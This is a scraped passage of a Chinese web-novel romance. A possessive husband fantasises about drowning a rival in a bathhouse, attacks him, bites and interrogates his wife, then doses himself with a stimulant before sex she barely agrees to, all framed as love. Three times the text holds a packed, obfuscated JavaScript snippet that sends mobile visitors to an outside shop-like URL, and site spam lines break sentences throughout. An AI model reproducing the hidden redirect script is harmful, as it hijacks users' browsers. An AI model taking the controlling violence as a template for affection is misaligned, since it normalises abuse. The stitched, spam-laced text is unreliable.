领口微微敞开，露出锁骨和一小片胸膛，额前发丝垂在额前，整个人看起来松弛又干净。 他站在她面前，问了一句：“怎么样？ 言昭抬眼打量他，视线从肩线滑到腰间，又很快收回，耳根悄悄红了。 她很认真地点了点头。 “好看。 顾煜看着她那副明明害羞还要装作镇定的样子，心里那点压着的情绪又慢慢软下来。 “你给我买的，肯定好看。 言昭脸红红，她觉得哪里是自己买的衣服好看，反而是因为他穿这个衣服，让这个睡衣变得好看。 顾煜任由她打量，唇角带着淡淡的笑。 此时他完全沉浸在她的目光里。 可不过片刻，顾煜也跟着察觉到言昭的情绪。 虽然她在笑，只不过这个笑有点浅，眼神偶尔飘开，指尖还在无意识地捏着衣角。 这不是她那种单纯害羞的紧张，更像是心里藏着事。 他抬手把她往自己身边拉近了一点，语气温和，“昭昭，今天是不是发生了什么事？ 言昭心口一紧，下意识摇头，“没有啊。 她说得太快。 顾煜看着她，眼神没有变，声音依旧温柔，“你今天有点不对劲。 他没有提高音量，也没有质问，只是一句一句往前推。 “你今天发生了什么吗？ 言昭抿唇，眼神躲了一瞬。 顾煜盯着那一点闪躲，语气更轻，“是有人来家里了？ 气氛慢慢收紧。 他表面温和，手还握着她的，可那种压迫感一点点铺开。 言昭被他看得发慌，终究还是开口，把谢夫人带着陈阿姨和卫阿姨上门的事说了出来。 她刻意没有提谢临。 她知道顾煜不喜欢她和别的男人说话。 顾煜听完后，沉默了几秒。 那双眼睛慢慢冷下来。 不是发火的冷，是彻底沉下去的冷。 他松开她的手，又很自然地替她理了理头发，语气平静得像什么都没发生。 “你不喜欢别人来家里。 言昭点头。 顾煜看着她，声音低而稳，“那以后就直接拒绝，把事情推到我身上来。万事有我在身边，就说是我安排的。 他说这 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 几句话时，脸上甚至还带着笑。 可那笑意，没有温度。 言昭没觉得他这个笑有什么不同，在她眼里，他还是温温柔柔的样子。 甚至她还因为这句话，心里反而安定下来。 她抬头看他，认真点头。 “好。” 顾煜看着她放松下来的神情，唇角还带着那抹浅笑。 他语气平稳地开口：“我想洗完澡换上这套，昭昭，我现在能去洗澡吗？” 言昭当然点头：“好，我去给你烧水。” 她刚转身，手腕却被他握住。 顾煜的手温热，指腹贴在她腕间，没有用力，只是把她轻轻拉回来。 他目光落在她脸上，还是那个温柔笑容：“我们不在家洗，去澡堂吧。” 言昭眼睛微微睁大，有些意外。 大澡堂她是喜欢的，热水充足，泡着也舒服，只是刚来这里，她还不好意思过去。 “现在去吗？”她问。 “嗯。”顾煜点头，“我们现在就去。” 言昭连忙点头，唇角不自觉弯起来，“那我去准备东西！” …… 澡堂。 澡堂门一推开，热气扑面而来。 水汽在灯光下弥漫，带着潮湿的温度，一瞬间就把外头的寒意隔绝在门外。 人不多，环境和筒子楼那边的大澡堂差不多，只是这家店的外间放衣服和毛巾的地方是男女混用，中间用木柜隔开，并不完全分开。 只不过言昭一进门，脚步就顿住了。 因为她看到了 谢临站在木柜旁，刚脱了上衣，肩背线条在热气里清晰又立体。 皮肤很白，但不是瘦弱的那种白，肩膀宽，手臂结实，腰线收得利落，竟然是有肌肉的。 言昭一眼就把他身体看光了，她也跟着下意识吸了一口气。 她没想到会在这里遇到他，更没想到他是这副样子。 庆幸顾煜还没跟进来。 要是让他知道这些事，自己根本不敢想。 谢临也看见了她。 两人视线短暂交汇。 空气里全是水汽，偏偏那一瞬间清晰得让人发紧。 言昭迅速低下头，手里拎着包，几乎是加快脚步往女性更衣间方向走去。 等到顾煜走进来时，外间的气氛明显变了一下。 他本就容貌出众，浅色睡衣外套随意搭在臂弯，头发还带着夜里的凉意，整个人干净又挺拔。 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 热气在灯光下浮动，他站在那里，几乎是下意识就吸引了不少人的目光。 尤其是女客那边。 刚才谢临光着上身已经够显眼，现在又进来一个气质截然不同的男人，外间的视线几乎齐刷刷地扫了过来。 也有人认出了顾煜。 “哟，这不是顾煜吗？你这个媳妇奴，怎么没带媳妇一起过来？” 说话的男人语气熟稔，带着打趣。 顾煜微微一笑，神情自然，目光却在外间扫了一圈，没看到言昭。 “我爱人已经进来了，可能先进去了。” 顾煜现在心里有一丝不明显的不满。 昭昭怎么不等等自己。 洗澡比自己还要重要吗？ 他目光往女性更衣间方向落去，又缓缓移开，最后停在不远处的谢临身上。 两人视线对上。 空气里的热气翻涌着。 谢临没有躲开，顾煜也没有。 几秒后，顾煜神情如常地收回视线，像是只是看了一眼陌生人。 他解开外套，慢条斯理地挂好，动作从容。 可眼神，比刚才更沉了一点。 哪知道谢临还凑过来开口。 他语气随意，仿佛只是顺嘴一提：“刚才看见你爱人进去了。” 顾煜抬眼看向他。 目光停了一瞬。 然后，他笑了笑。 “谢谢。” 语气客气而平静，没有追问，也没有问两人是不是认识，更没有露出半点异样。 这种过分自然的态度，让谢临眉梢微微动了一下。 他原本等着一句反问，或者一点警惕。 结果什么都没有。 顾煜只是收回视线，慢条斯理地解开扣子，把外套挂好，神情淡定得几乎没有波澜。 顾煜已经彻底没有泡澡的心思，可他还是一步步走进汤池，动作克制得近乎僵硬。 热水漫上来，水汽蒸腾，他坐下去的瞬间，只觉得胸口更闷，脑子像被什么撕开一样在轰鸣。 昭昭骗了他。 那个男人刚才那一眼，那种眼神，不是陌生人之间该有的。 她接触了别的男人，还瞒着他。 她明明知道，自己最在意这个。 顾煜的太阳穴一跳一跳，思绪几乎要炸开，脑子里反复回荡着同一句话—— 她有事在骗自己。 她竟然骗他。 水面平静，他快压不住体内翻滚 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 的戾气，指节在水下收紧，连骨头都绷得发痛。 就在这时，水声响起。 谢临踩着池边下水，热水晃开一圈涟漪，恰好落在他这池。 顾煜的呼吸猛地一顿，整个人像被什么卡住一样，缓慢而僵硬地抬起头看过去。 那一瞬，他眼里的温度全数消失，剩下的只有阴沉和狠厉。 杀意几乎是本能地涌上来。 他盯着谢临的脖颈，盯着他在水下起伏的胸膛，脑子里竟然冷静地计算—— 水深够不够，力气够不够，按下去需要几秒，挣扎会不会太大声。 只要压住这个人的头，往下按，热水和水汽会掩盖一切。 这个念头像刀子一样锋利，在他脑海里反复切割。 他甚至能想象对方在水里挣扎的样子，最后死亡的画面。 顾煜盯着谢临，呼吸压得极低，胸腔起伏控制得机械。 此刻的他，理智和疯狂只隔着一层薄薄的界线。 只要这个男人再靠近自己一点，他真的会动手。 谢临很快就察觉到了那道几乎要把人刺穿的视线。 他转过头，和顾煜对上。 没有退让，也没有避开。 他甚至一点害怕都没有。 反而慢慢勾起唇角。 原以为这个人真的无动于衷，刚才在外间那副风轻云淡的样子，像是完全不在意。 没想到，不过是装得好罢了。 现在这股压不住的情绪，几乎都写在眼睛里。 谢临心里反而畅快起来。 至少，这个人不是全然稳得住。 他没有靠近顾煜，甚至刻意保持着一点距离，只是在水里换了个姿势，水面轻轻晃开。 他的动作不急不缓，像是真的只是来洗澡。 可存在感是毫不收敛。 这也是谢临本来就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338031|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是过来刷存在感的。 现在看到顾煜脸色沉成那样，眼神里压着几乎失控的情绪，谢临胸口反而舒展开来。 言昭根本不知道隔壁已经暗流翻涌。 她这边泡在热水里，肩膀慢慢放松下来，水面泛着细小的波纹。 旁边几个人聊着天，从菜价说到谁家孩子上学，又说起刚才外间来了两个大帅哥，语气里满是兴奋。 言昭听得耳根有点热，想着顾煜现在也在隔壁。 男女之间就隔着一堵墙。 偶尔能听见那边男人说话的声音，低低沉沉，水声夹杂着笑声。 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 她不自觉地去分辨其中有没有顾煜的声音。 他会说话吗？ 他平时在外面话不多应该不会主动搭话。 想到这里她心里竟然有点莫名的安心。 还没等她继续往下想突然一声闷响从隔壁传来紧接着是水花猛烈翻起的声音有人骂了一句声音压不住地大。 这一声直接传到女浴室这边。 几个女人齐刷刷抬头“怎么回事？” “怎么是打架的声？” 言昭也愣了一下。 可她还没来得及多想 她下意识抬头。 那人气喘吁吁地指着外面“你男人在跟人打架你快来！” 言昭脑子轰的一声整个人僵住。 下一秒她几乎是条件反射地从热水池里站起来水珠顺着肩膀滑落顾不得旁人的目光匆忙抓过浴巾裹在身上连头发都没拧干就往外跑。 心跳快得几乎要冲出胸口。 顾煜打架？ 他不是那种人。 到底发生了什么？ 她脚步凌乱水滴一路落在地砖上整个人已经冲向更衣室。 言昭匆匆套上衣服头发还在滴水顾不得擦干就往外冲。 外间已经乱成一团木凳翻倒在地地面湿滑围着一圈人。 明显是从池子里打到外面的水迹一路拖出来。 她一眼就看见顾煜。 他身上衣服湿了一大片水顺着袖口往下淌发丝贴在额前整个人气息压得极低。 此时他正压着谢临在地上手死死扣在对方肩颈位置力道重得几乎要把人按进地砖里。 谢临脸侧沾着水呼吸急促嘴角有血痕。 顾煜的眼神—— 那种熟悉的失控。 不是平日温和克制的样子而是压不住的阴沉和狠。 言昭心口猛地一缩。 震惊之后是铺天盖地的慌。 她几乎是冲过去的水还从她发梢往下滴脚下踩得踉跄了一下也没停。 她抓住顾煜的手臂用力去拉“顾煜！” 他的肌肉绷得像石头。 她再喊一声声音都在发颤：“顾煜你怎么了？” 这一句落下来像是硬生生劈开空气。 顾煜的动作停了一瞬。 他缓慢地转过头看她。 眼底的暴戾还 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 没退干净，情绪翻涌着，呼吸沉重。 两人的视线撞在一起。 言昭是见过他这个样子的。 这不是单纯的生气，是几乎要毁掉什么的狠。 “你怎么了？”她又问了一遍，“顾煜，你看着我。” 话音刚落，顾煜忽然松开谢临。 下一秒，他一把将言昭拽进怀里。 动作又急又重，几乎是失控地把她按进自己怀里，湿透的衣服贴在她身上，水意和体温混在一起。 旁人只看到他抱住她，以为是劝架后的安抚，都没看到他扣在她后背的手指收得发白。 他低下头，唇几乎贴在她耳侧。 声音压得极低。 “我怎么了？”喉咙发紧，“昭昭，你告诉我，你为什么要骗我？” 水汽弥漫，四周窃窃私语。 没有人听清他说了什么。 只有地上的谢临，半撑着身体，清清楚楚地听见了那一句。 顾煜的呼吸落在言昭颈侧，滚烫得吓人。 “你说过不会骗我。” 言昭整个人被他抱得动弹不得，只能仰着脸看他。 她听着这句胆战心惊的话，又看着他失控的样子，眼睛发红，情绪压到极限，连呼吸都在抖。 他知道了？ 言昭抓着他湿透的衣襟，指尖发紧，能清晰地感觉到他身体在轻微发颤。 他知道后气得这么狠吗？ 而四周人只看到两人紧紧抱在一起。 却不知道这几句低语，几乎把两人之间的裂缝彻底撕开。 谢临靠在地上，却听得一清二楚，唇角慢慢勾起一抹极轻的弧度。 第63章 顾煜占有欲疯狂外泄 言昭听着他贴在耳边说出的那些话，脸色一点点白下去。 她下意识侧头，看了一眼地上的谢临。 谢临半撑着身体，唇角带着血，可还在看着她笑。 这人竟然还对着自己笑！ 言昭几乎是本能地收紧手臂，反过来抱住顾煜的腰，用力把他往后带。 “我们回家。她声音压得很低，带着急促的气息，“顾煜，我们先回家，好不好？ 顾煜没有动。 她没有给他答案。 他想要的那个答案。 这一瞬间的空白，像是彻底点燃了他心里的火。 他的呼吸猛地乱掉，眼睛红得吓人，情绪在眼底翻滚，牙关咬得发紧，甚至能听见细微的“哒哒声。 那是强忍到极致才会有的反应。 言昭心里是真的慌了。 手指贴在他后背，能感觉到他整个人绷得像拉满的弓。 她抬头看着他，声音发颤，还是努力放软。“回家说，好不好？顾煜，我们回家说。 她一边说，一边用力去拉他。 不敢再看谢临。 不敢让这场对峙继续下去。 顾煜低头看着她，眼里的情绪翻涌得几乎要把人吞进去。 她没有回答。 她在躲。 这个认知让他胸口剧烈起伏了一下。 可她抱着他。 在求他。 这一点又死死拉住了他最后一丝理智。 周围的声音开始变得模糊。 只剩下她贴在他怀里的温度。 他的手指在她背后缓慢收紧，像是抓住唯一的支点。 …… 两人刚进家门，门还没关严，顾煜就一把扣住言昭的手腕，把她往里带。 动作快得让她几乎没反应过来，言昭整个人被按在客厅的椅子上。 那椅子是木的，又硬又直，后背猛地撞上去，疼得她闷哼一声，肩胛骨都像是被硌住了。 顾煜本来压着她，呼吸重得发乱，眼睛在昏暗里几乎发红。 可看到她脸上那一瞬间的痛色，他的动作猛地停住。 像是被什么狠狠拽住。 他站在那里，胸口剧烈起伏，牙齿咬得发出细碎的声响，喉咙里却突然溢出一声低低的笑。 那笑一点温度都没有。 然后他弯腰，直接把言昭横抱起来。 言昭惊呼了一声，手下意识攥住他肩膀。 顾煜 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 一句话都没说大步往房间走。 房门被推开里面没有开灯骤然的黑暗让她什么都看不清只能感觉到他的呼吸贴得很近带着未散的水汽和压不住的情绪。 他把她放到床上。 这一次后背不疼了。 可他的手已经落在她衣襟上带着急躁和失控地去扯。 “顾煜——”言昭心口一紧连忙伸手去挡。 她抓住他的手腕声音都乱了“谢临是因为我救过他！后来我一直在避开他我没跟他说话！” 顾煜的动作顿住。 黑暗里 言昭急得眼睛都红了话一股脑往外说：“不跟你说是因为我怕你生气！我真的不是故意的！” 她手指还抓着他指尖发抖。 “我没有骗你……我只是……我只是没敢说。” 房间里安静得可怕。 只有两个人急促的呼吸声。 顾煜的手还停在她衣襟上没有继续也没有收回。 他的额头慢慢抵下来贴在她肩侧呼吸沉得发烫。 刚才他几乎要失控的力气一点点收回来。 他开始低低地重复了一遍她刚才的话。 “你怕我生气……” 声音哑得厉害贴着她锁骨往下落。 那里面已经没有刚才那种纯粹的暴怒取而代之的是另一种更深的情绪压着占着带着明显的受伤。 他抬起头黑暗里看不清他的表情可她能感觉到他的视线死死落在自己脸上。 “所以你就骗我？” 言昭呼吸一滞。 顾煜的手指扣住她的下巴让她不得不抬头面对他。 “昭昭你还是骗我了。” 他的声音很低却一句一句往里压。 “你说过不骗我的我也让你离所有男人远一点你答应过的。” 这不是简单的责问。 是他把自己所有的信任一点点摊开然后发现中间有裂缝。 言昭被他扣着下巴呼吸都不敢乱本来应该害怕的可她的思绪还是不受控制地飘了一下。 她答应过吗？ 她很认真地想了一下自己没想起来。 顾煜几乎是立刻察觉到她分神了。 在这种时候。 在他快要被逼疯的时候。 她居然在走神。 他盯着她胸口那团情绪猛地一 听说看这本书的人都是很幸运的，分享后你的运气会更棒 顿，连呼吸都乱了一拍。 一瞬间他不知道自己该继续发怒，还是该笑。 他在这里逼问，在这里几乎把自己撕开，她竟然在发呆。 可当他又看清了她的表情时。 不是躲。 不是恐惧。 带着一点困惑。 她没有像以前那样因为他这个样子被吓到。 这个认知，让那股翻滚的怒意变得有点无处安放。 他盯着她，喉咙发紧，忽然有点说不出的狼狈。 顾煜发现自己居然在为这个细节感到……高兴。 高兴她在自己生气的时候走神，不再像以前那样怕他。 这个念头一出来，他自己都愣住了。 顾煜低低地笑了一声。 那笑里没有刚才的戾气，反而带着一点自嘲。 他额头重新抵回她肩侧，只觉得自己很没出息。 言昭听见他又笑了。 这一声和刚才在外面那种压着情绪的笑完全不同，贴在她颈侧低低的。 言昭大着胆子主动抱住了他，双手臂环上他的背。 “你别生气好不好……她声音很轻，贴在他耳边，“我真的没怎么跟他说过话，就救他一次。 顾煜把脸埋进她颈窝里，带着一点近乎依赖的蹭动，可这点柔软只持续了一瞬。 他忽然低头。 一口咬在她颈侧。 力道不轻。 言昭猛地倒吸一口气。 “嘶—— 那一下是实打实的疼，牙齿陷进皮肤里。 她下意识想躲，就被顾煜扣住后背。 紧接着疼意加深。 顾煜的呼吸全乱了，唇还贴在她颈侧，说话的声音闷闷的，带着咬牙后的沙哑。 “我现在想要你。 这句话说得很低，几乎是压在喉咙里滚出来的。 言昭整个人瞬间僵住，脸一下子烧了起来。 黑暗里看不清彼此的表情，可她能清楚感觉到他贴得太近的体温和那种几乎要把人吞进去的情绪。 她抬手去推他，声音都带着慌乱的软：“我们还没吃饭呢…… 顾煜被她推开一点，但没有真的退开。 下一秒，他低头含住她的耳垂。 温热的呼吸贴着她耳侧，声音压得又低又哑。 “我现在就在吃饭。 他的唇擦过她耳后那一小片皮肤，带着一点咬牙的狠意，又混着控制不住的依赖。 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 “我想吃你。” 言昭整个人都颤了一下手还抵在他胸口只不过明显没刚才那么用力。 她心跳快得乱成一团刚才的争执、恐慌和心软全混在一起被他这句话搅得更乱。 可顾煜的呼吸在她耳侧停了很久。 那股几乎要失控的热意在两人之间翻涌他的手还扣着她的腰指节收紧又松开像是在和自己较劲。 过了好一会儿他猛地闭了闭眼。 然后一点点把人放开。 “先去吃饭。” 声音低哑 顾煜说完就真的从她身上起开转身离开了房间。 黑暗一下子空了下来。 言昭躺在床上睁着眼睛大口大口喘气胸口起伏得厉害。 她整个人还在发热脖子上被咬过的地方隐隐作痛耳边仿佛还残留着他刚才的呼吸。 她是真的没想到。 他会停住。 她甚至已经做好他不会放过自己的准备。 可他就这样走了。 那种骤然被松开的感觉让她整个人都有点发软。 另一边顾煜进了厨房。 灯光冷白。 他脸上一点表情都没有。 他打开锅倒了牛奶进去加热动作平稳得像平时一样。 牛奶很快滚起细小的气泡他关火倒进两个杯子里。 然后他从柜子的角落里拿出一个小黑瓶。 瓶身很小被他握在掌心里几乎看不见。 他垂着眼把瓶盖拧开。 往其中一杯牛奶里滴了一点。 透明的液体落进去迅速被热气吞没。 他端起那一杯没有犹豫直接把滚烫的牛奶一口气喝下去。 放下杯子时指尖微微发白。 他把瓶子重新收好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她伸手想接过他手里的饭盒指尖不小心碰到他的手。 那一瞬间她愣住了。 “你手怎么这么热？” 不是温热。 是烫。 像是整个人在发烧。 她下意识抬头看他。 顾煜的神情还是温和的甚至对她笑了一下。 “热水洗的。” 他说得自然。 顾煜很快又端了一杯牛奶出来。 白瓷杯放到她面前热气袅袅温度明显已经凉过刚刚好。 言昭看着那杯牛奶喉咙都有点发紧。 她是真的一点都喝不下了。 可顾煜坐在对面目光落在她身上很安静也很专注。 没有催。 但让人没办法拒绝。 她只好端起来 你的朋友正在书荒，快去帮帮他吧 小口小口地喝，最后索性闭着气一口气灌下去。 牛奶滑进胃里，本就撑着的肚子更胀了，她放下杯子的时候，整个人都软在椅子上，脸颊微红。 顾煜这才在她对面坐下来。 像是终于完成了一件什么事。 他抬手按住额头，动作慢了一拍。 呼吸比刚才重了一点。 “昭昭……”他的声音有些低，“我好像有点热。” 言昭抬头看他。 这才发现他耳根都红了，连眼尾都带着一点不正常的潮意。 不是刚才那种情绪过后的热。 是整个人在发烫。 她下意识起身走过去，伸手去碰他的额头。 指尖刚贴上去，她就怔住了。 温度高得吓人。 “你是不是发烧了？”她声音一下子紧了。 顾煜抬眼看她，眼神比平时更沉，呼吸落在她手腕上都是滚烫的。 他没有回答，只是伸手握住了她的手。 掌心的温度高得惊人。 言昭只觉得顾煜这种温度，这种状态，让她有种说不出的熟悉感。 “顾煜，你……” 顾煜盯着她，喉结缓慢地滚了一下，像是在极力压着什么，声音低得发哑。 “我也不知道怎么回事，怎么办？” 他语气带着求助意味。 言昭看着这双眼睛，里面的情绪已经完全变了，不再是回来时压抑的怒意，而是一种翻涌的、灼人的、几乎要溢出来的东西。 空气一下子变得黏稠起来。 第64章 床上的花样就是多 第一次言昭还能觉得这事见不得光心里既羞耻又慌可她还是顺着顾煜觉得只要能帮他就什么都能忍。 可是这次不一样。 顾煜又被下药了。 言昭整个人慌了眼眶瞬间红了。 “到底是谁……” 她声音颤抖压不住的情绪让她几乎说不出完整的话。 此时顾煜依旧紧握着她的手掌心烫得像火呼吸急促得让她心跳加速眼中那种翻涌的欲望她再熟悉不过了。 这一次她的脑海里第一个念头就是—— 报警。 去医院。 她必须得去。 言昭有些慌乱地搀扶着顾煜想要把他扶起来。 “我们去医院。”她低声说声音哽咽眼里满是急切。 她的手指抖得厉害几乎没有力气去支撑他。 顾煜看着言昭那慌乱的模样他微微眯起眼睛：“昭昭这一次不是别人下药可能我最近吃了一点东西效果太大今天又因为生气导致效果更强。” “你知道的男人有时总需要发泄嘛。” 他的声音如同从喉咙里溢出湿润而带着一种几乎让人不舒服的音调。 言昭整个人怔了一下。 她确实听过他说很多话哄她的低声道歉的。 在她耳边失控叫她名字的。 可从来没有一次是现在这样语调慢尾音黏明明难受得厉害还要盯着她的反应看。 那双眼睛一直落在她脸上发红潮湿欲望翻涌却又压着不动带着一点说不清的阴沉和黏人。 言昭被他看得呼吸一乱 “你别说这个……” 她声音低得不像话眼神躲开了一瞬又被他重新勾回来。 顾煜的手还攥着她的手腕此刻拇指在她腕骨上慢慢蹭了一下带着些许汗意和灼人的温度还有一点刻意的停顿。 “脸这么红。”他嗓音压得很低气息贴过来“不是说要送我去医院吗。” 言昭心口猛地一跳这才发现两个人贴得太近近到她能清楚感觉到他身体的热度和乱掉的呼吸。 她手一抖差点把人松开。 但顾煜已经顺势靠过来重量压在她身上像是站不稳又像是故意的。 “昭昭。”他叫她名字声音湿哑“我现在想 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 要你。” 言昭：“……” 她当然会帮，也早就知道今晚自己躲不过。 只不过言昭也跟着反应过来，他让自己多吃点，难道就是因为这个？ 这让她瞬间有些不适，脸上的红晕从脖子蔓延到耳根，眼神有些闪躲起来。 她站在门口，犹豫了几秒，还是没敢走进房间。 这边顾煜已经把被子铺好了，他也换上了言昭给他买的另一套睡衣，款式简洁，却十分合身，衬得他整个人看起来有些清爽，让他看起来更加好看了。 顾煜这边忙完，他来到门口，看到她站在那里，嘴角勾起笑意。 “不睡觉了？”他的声音低沉，带着点玩笑的意味，走过来，牵住了她的手，掌心滚烫。 言昭身体一僵，不知道该怎么回应他，只能低着头。 这一夜自然又是荒唐又难耐。 言昭是真的不知道，男女之间的事情竟然有这么多花样。 她只想安安静静躺在床上不动。 可顾煜根本不给她这个机会。 每次她刚软下来，他就会把人拉起来。 手臂被他扣着，腰被他揽回去，整个人一次次被带进他的节奏里。 言昭被折腾得眼尾都红了，呼吸乱得不像话。 “顾煜……” 她声音都是软的。 带着一点委屈。 可他像是故意的，在她快撑不住的时候贴着她的耳边说一遍。 “最后一次，以后不吵你，让你好好读书。” 他每说一句，言昭心里的那点气就散一点。 到最后连推他的力气都没有了。 她整个人被他翻来覆去折腾得发软，感觉自己真的快被拧成麻花了。 脑子里什么都想不了。 只记得他答应过的话。 这一次之后就不闹她了。 她就能安安稳稳看书。 就能清净。 所以她由着他。 咬着唇不吭声。 手却还是下意识抓着他。 像是认命。 又像是心软。 等到后半夜终于停下来时，她连翻身的力气都没有，只能趴在被子里喘气。 顾煜从后面把她抱回去，动作比之前慢了很多。 在言昭迷迷糊糊快睡着的时候，听见他在她耳边低声说了一句。 “昭昭，你以后不能再骗我了。” …… 夜已经很深。 你的朋友正在书荒，快去帮帮他吧 言昭几乎是被折腾到没有一点意识，整个人软得不像自己的。 她原本只是想去浴室简单洗一下，结果连站都站不稳，被顾煜按在怀里又来回折腾了几次，到最后连水声什么时候停的都不知道。 此时她整个人贴在他身上，连抬手的力气都没有，头歪在他肩窝里，呼吸又轻又乱。 顾煜把人抱回床上，被子拉好，然后他整个人跟着压下来，把她用力抱进怀里。 言昭闭着眼睛，眉头还轻轻皱着，声音带着睡意和委屈，小声喃喃了一句。 “顾煜……不要了…… 这句话软得不像话。 顾煜胸口那一片像是被什么狠狠撞了一下，心跳快得离谱。 他低头看着怀里的人，眼神沉得发烫。 手臂收紧，好像想把她嵌进自己身体里一样。 顾煜低下头，在她颈侧一下一下细细啃咬，动作比之前慢了很多，带着克制不住的占有欲。 屋子里只剩下两个人的呼吸声。 就在这时，门外突然响起敲门声。 一下。 又一下。 不急不缓。 顾煜的动作顿住了。 他眉头瞬间蹙起，眼里的情绪一下子冷下来，但没有动。 敲门声还在继续。 像是知道里面有人。 顾煜深吸了一口气，低头看了一眼怀里已经睡过去的言昭，手指在她后背轻轻顺了一下。 他停了很久，才把人慢慢放回枕头上。 被子重新盖好，还往上掖了一点。 他盯着她看了一眼，眼神里那点黏着的热意还没散干净。 门外的敲门声又响了一次。 这一次更重。 顾煜的脸色彻底冷了下来。 他起身下床，随手抓了件衣服套上，回头又看了她一眼，才走出去。 门外是单位的人，他们是听说顾煜和谢临动了手才连夜赶过来的。 自从上次那场运算之后所有人都清楚顾煜的重要性，别说受伤，哪怕手上破点皮都会让整个单位紧张。 敲门一直没人应声，几个人越等越慌，小声议论着不会真出什么事了吧，有人已经后退一步准备直接撞门。 就在那人要冲上去的时候，门从里面被拉开了。 顾煜站在门口，睡衣已经穿好，扣子扣到最上面一颗。 只不过现在他脸色却阴沉得厉害，眉眼压着一层冷戾，眸子像淬了冷光，带着被打断后 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 的不耐和隐隐的躁意，整个人的气场阴鸷得让人连呼吸都放轻。 他一句话没说，只是目光从几个人脸上一扫而过，那种压迫感让刚才还急得要撞门的人瞬间僵在原地。 领头的咽了口唾沫才开口：“顾教授，您没事吧？我们听说您出事了，担心死了。” 顾煜眼底的冷意又深了一层，像是有什么情绪被硬生生压住。 “我没事。” 他的声音低而平直，短短三个字却带着明显的逐客意味。 几个人对视一眼，本来还想劝他去医务室检查一下，可话到嘴边被他那道冷冷的目光压得一句都说不出来。 “说完了？”顾煜淡淡问。 这一句落下来，气压低得让人后背发凉，几个人当然发现他心情很不好。 他们连忙点头，说：“不打扰顾教授休息了，我们这就回去。” 话音刚落，门就在他们面前直接关上。 外面的人这才敢大口呼气，小声说了一句刚刚那眼神太吓人了。 另一个人压低声音回了一句没事就行。 屋里重新安静下来，顾煜站在门后没有立刻动，眼底的阴鸷一点点沉下去，然后转身往卧室走，脚步放得很轻。 …… 第二天言昭当然起不来。 她睁开眼的时候只觉得全身像散架了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338033|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样。 腰酸得厉害，腿一动就发软，连翻个身都要缓好一会儿。 她盯着屋顶发了半天呆，昨晚那些画面断断续续往脑子里钻，脸一下子就热了起来。 顾煜已经去上班了。 屋里安安静静的。 床边放着她的水杯，里面的水还是温的。 她咬着牙坐起来，扶着腰慢慢挪下床，每走一步都觉得腿在打颤。 桌子上摆好了早餐。 粥还温着，小菜也装在盘子里，旁边压着一张纸条，让她记得吃完再睡。 言昭坐下的时候差点没撑住，轻轻吸了一口气。 等她好不容易吃完，扶着桌子站起来，准备去洗碗的时候，才看到后院。 衣服已经洗干净晾好了，连昨晚那套也被洗得干干净净挂在绳子上。 阳光晒下来，白得晃眼。 昨晚那些细节一下子全回来了。 言昭脸瞬间红透。 她也没有再出门，而是扶着腰慢慢挪回房间，把自己丢到椅子上坐下，缓了好一会儿，才把书拿过来。 结果她刚翻开书，就看到里面夹着一个小 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 本子。 那不是她的东西。 言昭把本子拿出来，翻开第一页，整个人都安静了下来。 上面是密密麻麻的笔记。 重点用不同颜色标出来，旁边还有简单的解释。 一看就是怕她看不懂。 她又去翻那几本教科书。 几乎每一页都被划好了重点，旁边还写着简短的提示。 有的地方甚至把例题重新写了一遍。 言昭都能想象到他坐在这里，一页一页帮她理过。 言昭手指停在书页上，好半天没动。 心里那点酸软慢慢漫上来。 这时一张纸条从书里滑出来，落在她腿上。 她低头去看。 上面写着一行字：按照红线的先看，不懂的等我回来教。 言昭知道这些都是顾煜给她准备的。 她上次学的课程还没补完，正好趁今天重新理一遍。 屋子里很安静，只剩下翻书声和她写字的声音。 时间不知不觉就过去了。 等她再抬头的时候，已经到了中午。 门口传来敲门声。 她扶着桌子慢慢站起来去开门。 外面站着一个人，把饭盒递给她，说了一句是顾教授让送来的，就走了。 言昭抱着饭盒回到屋里，她打开一看，饭菜是热的。 这边有人送饭，这样比以前总等顾煜抽空回来送方便太多了。 她坐下来慢慢吃，一边吃一边看书，心里反而轻松了不少。 …… 另一边，谢家客厅里气氛安静得有些沉。 谢临坐在沙发上，整个人往后仰着，头靠在靠背上，脸上盖着一块手帕。 那淡色的布料上绣着小小的花样，一眼就能看出来，是言昭上次落下的那一块。 他时不时深吸一口气。 旁边坐着谢首长，神情严肃，目光一直落在儿子身上。 另一侧是谢母，她看着谢临安静的样子，眼里全是压不住的喜色。 